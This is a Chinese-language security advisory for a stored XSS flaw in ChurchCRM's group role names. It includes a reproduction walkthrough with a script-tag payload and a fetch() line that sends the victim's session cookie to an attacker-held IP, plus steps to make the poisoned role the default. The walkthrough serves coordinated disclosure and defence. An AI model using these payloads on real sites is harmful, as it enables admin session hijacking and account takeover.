
CVE-2025-67876 - ChurchCRM has Stored XSS in Group Role Name Leading to Admin Session Hijacking
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2025-67876 |
| 严重性 | 严重 |
| 安全公告 | 查看安全公告 |
| 发现者 | Lukasz Rybak |
ChurchCRM 中存在存储型跨站脚本(XSS)漏洞,允许拥有“管理群组”权限的低权限用户在群组角色名称中注入持久化 JavaScript。该载荷保存在数据库中,当任何用户(包括管理员)访问显示该角色的页面(如 GroupView.php 或 PersonView.php)时,载荷即会执行。这可实现完全的会话劫持和账户接管。
根本原因在于群组角色名称的处理过程中缺乏输入验证和输出编码。
在 GroupEditor.php 中编辑群组时,用户可以修改角色名称。应用程序未对输入进行净化处理(例如,没有使用 strip_tags、htmlspecialchars 或服务器端验证)。该值直接存储在 list_lst 数据库表中。
随后,存储的值未经转义便直接注入到 HTML 中:
<span> 包裹的表格单元格内。因此,拥有“管理群组”权限的低权限用户可以通过在角色中注入 JavaScript 并将该角色分配给管理员,将权限提升为完全管理员。
在攻击者控制的机器上创建 x.js:
fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));
提供该文件:
python3 -m http.server 800
使用拥有“管理群组”权限的用户账户登录。
导航至: 群组 → 群组列表 → 选择任一群组 → 设置。
在“群组角色”部分,编辑现有角色或创建新角色。
插入恶意载荷:
"><script src=//172.20.0.1:800/x.js></script>
在群组角色列表中,点击包含注入 XSS 载荷的角色旁边的“默认”按钮。
这可确保该恶意角色会自动分配给添加到该群组的所有用户,从而增加管理员在查看其个人资料时触发 XSS 的可能性。
点击之前默认角色(通常为“成员”)旁边的“删除”按钮。
移除干净的默认角色将迫使系统对所有未来分配使用注入了 XSS 的角色,从而保证当受害者查看任何显示其分配角色的页面时触发执行。

进入群组视图页面。
将任意用户添加为群组成员(例如,教会管理员)。
从下拉菜单选择恶意角色。
保存分配。
当受害者(管理员)访问以下页面时:
其用户个人资料:PersonView.php
群组视图页面:GroupView.php
存储的 JavaScript 立即执行。
在攻击者服务器上,将会出现传入请求:

这证实账户已被成功接管。
CWE-79:在网页生成过程中对输入进行不当的中和(“跨站脚本”)
本 CVE 遵循协调漏洞披露实践进行了负责任披露。此处提供的信息仅用于教育和防御目的。